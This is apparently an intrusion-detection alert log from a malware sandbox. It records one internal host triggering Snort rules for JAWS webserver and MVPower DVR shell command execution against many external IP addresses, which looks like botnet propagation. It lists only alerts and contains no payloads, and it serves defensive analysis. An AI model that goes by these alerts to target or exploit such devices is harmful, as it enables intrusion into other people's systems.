Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49670 -> 115.246.114.148:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43832 -> 34.240.253.41:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58212 -> 78.247.12.109:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56838 -> 117.200.77.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39456 -> 107.165.24.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44946 -> 81.37.220.40:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55598 -> 43.221.116.139:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59816 -> 37.168.229.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51142 -> 149.127.43.235:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42178 -> 41.79.241.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39486 -> 202.24.92.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44104 -> 145.100.188.83:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34700 -> 202.238.8.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56756 -> 174.194.105.235:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55292 -> 140.5.76.153:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35842 -> 83.231.82.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47264 -> 57.222.230.206:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52794 -> 128.101.239.153:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58574 -> 45.5.242.217:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34108 -> 204.167.44.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34456 -> 194.252.4.200:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42554 -> 68.39.123.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49564 -> 95.237.237.156:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58070 -> 186.28.217.117:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58076 -> 142.5.237.169:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51510 -> 205.249.54.111:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44372 -> 117.241.145.89:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36520 -> 72.194.176.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46058 -> 51.243.182.171:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52812 -> 41.59.82.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50980 -> 212.199.183.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37288 -> 41.62.241.247:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54284 -> 110.176.150.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34360 -> 92.228.245.159:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56234 -> 95.239.226.123:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51050 -> 108.85.135.218:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40992 -> 52.206.114.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60104 -> 58.199.54.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50078 -> 129.193.114.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44778 -> 25.87.20.30:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54416 -> 146.97.242.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54180 -> 222.84.171.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36546 -> 196.44.130.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38194 -> 48.234.108.156:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32914 -> 45.238.94.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55394 -> 12.95.201.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51500 -> 187.75.110.93:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33834 -> 106.16.15.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47714 -> 204.135.242.117:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39420 -> 31.70.83.31:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37886 -> 154.1.74.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34922 -> 158.4.130.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33706 -> 187.205.139.84:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49442 -> 124.60.75.137:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34260 -> 105.120.208.242:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37714 -> 206.121.1.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50218 -> 159.209.163.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54536 -> 197.114.181.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40758 -> 136.107.130.201:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50846 -> 50.8.69.255:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56784 -> 162.133.179.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33210 -> 155.78.6.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40970 -> 113.32.208.233:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39732 -> 128.151.195.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33878 -> 112.152.48.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53558 -> 81.48.62.152:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46490 -> 93.152.148.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45540 -> 144.192.66.230:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55216 -> 51.180.72.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52008 -> 198.24.255.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42950 -> 160.171.210.51:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42926 -> 173.201.55.115:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32800 -> 118.131.29.171:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38354 -> 8.194.32.207:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42066 -> 198.139.79.120:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48762 -> 191.185.132.251:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58476 -> 223.81.79.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54708 -> 173.142.129.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58654 -> 89.243.242.221:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45266 -> 50.235.115.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52886 -> 80.252.121.45:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40554 -> 60.55.180.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40300 -> 81.78.87.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34492 -> 123.28.179.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50824 -> 87.130.72.182:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57298 -> 24.4.140.180:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57174 -> 37.47.52.166:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43646 -> 121.59.20.215:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47804 -> 161.166.48.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60716 -> 18.69.98.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40782 -> 170.90.134.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56362 -> 44.214.37.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45146 -> 98.220.77.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54366 -> 48.52.58.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44808 -> 188.248.176.49:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43374 -> 112.217.71.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47738 -> 31.117.7.12:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36442 -> 77.156.147.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44764 -> 5.69.223.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38426 -> 25.119.127.189:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34360 -> 92.228.245.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56234 -> 95.239.226.123:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51050 -> 108.85.135.218:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40992 -> 52.206.114.48:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60104 -> 58.199.54.70:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50078 -> 129.193.114.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44778 -> 25.87.20.30:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54416 -> 146.97.242.87:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54180 -> 222.84.171.34:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36546 -> 196.44.130.154:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38194 -> 48.234.108.156:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32914 -> 45.238.94.61:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55394 -> 12.95.201.102:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51500 -> 187.75.110.93:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33834 -> 106.16.15.220:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47714 -> 204.135.242.117:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39420 -> 31.70.83.31:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37886 -> 154.1.74.103:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34922 -> 158.4.130.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33706 -> 187.205.139.84:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49442 -> 124.60.75.137:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34260 -> 105.120.208.242:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37714 -> 206.121.1.240:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50218 -> 159.209.163.86:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54536 -> 197.114.181.205:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40758 -> 136.107.130.201:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50846 -> 50.8.69.255:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56784 -> 162.133.179.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33210 -> 155.78.6.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40970 -> 113.32.208.233:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39732 -> 128.151.195.102:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33878 -> 112.152.48.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53558 -> 81.48.62.152:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46490 -> 93.152.148.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45540 -> 144.192.66.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55216 -> 51.180.72.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52008 -> 198.24.255.213:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42950 -> 160.171.210.51:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42926 -> 173.201.55.115:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32800 -> 118.131.29.171:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38354 -> 8.194.32.207:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42066 -> 198.139.79.120:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48762 -> 191.185.132.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58476 -> 223.81.79.132:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54708 -> 173.142.129.181:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58654 -> 89.243.242.221:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45266 -> 50.235.115.106:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52886 -> 80.252.121.45:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40554 -> 60.55.180.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40300 -> 81.78.87.67:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34492 -> 123.28.179.254:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50824 -> 87.130.72.182:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57298 -> 24.4.140.180:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57174 -> 37.47.52.166:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43646 -> 121.59.20.215:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47804 -> 161.166.48.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60716 -> 18.69.98.66:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40782 -> 170.90.134.85:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56362 -> 44.214.37.113:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45146 -> 98.220.77.102:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54366 -> 48.52.58.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44808 -> 188.248.176.49:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43374 -> 112.217.71.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47738 -> 31.117.7.12:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36442 -> 77.156.147.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44764 -> 5.69.223.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38426 -> 25.119.127.189:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58314 -> 65.91.194.133:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44574 -> 168.235.31.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37034 -> 194.244.242.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54410 -> 147.89.17.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60472 -> 49.81.200.207:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36480 -> 137.234.162.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58546 -> 57.54.162.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41606 -> 24.179.173.118:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47054 -> 213.99.204.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55740 -> 50.27.20.241:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55982 -> 124.0.139.31:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60810 -> 99.170.206.200:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49524 -> 133.130.243.96:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46164 -> 81.66.87.121:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46754 -> 52.191.152.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36208 -> 147.135.44.218:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58026 -> 59.172.71.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43196 -> 60.224.142.1:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32936 -> 189.82.218.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53032 -> 53.223.178.64:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59368 -> 45.9.82.52:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39940 -> 69.42.202.171:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35140 -> 24.72.9.82:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56774 -> 145.92.78.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40456 -> 132.66.64.38:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33194 -> 222.37.4.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37350 -> 66.47.79.133:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33318 -> 67.147.165.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53466 -> 95.127.175.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48614 -> 179.122.233.207:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44888 -> 161.43.121.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53154 -> 206.73.46.114:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50474 -> 39.24.219.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48212 -> 85.238.207.251:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44378 -> 32.62.55.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47694 -> 134.80.188.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45190 -> 42.11.130.136:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41362 -> 41.189.31.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50710 -> 198.203.182.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48026 -> 124.204.6.25:80
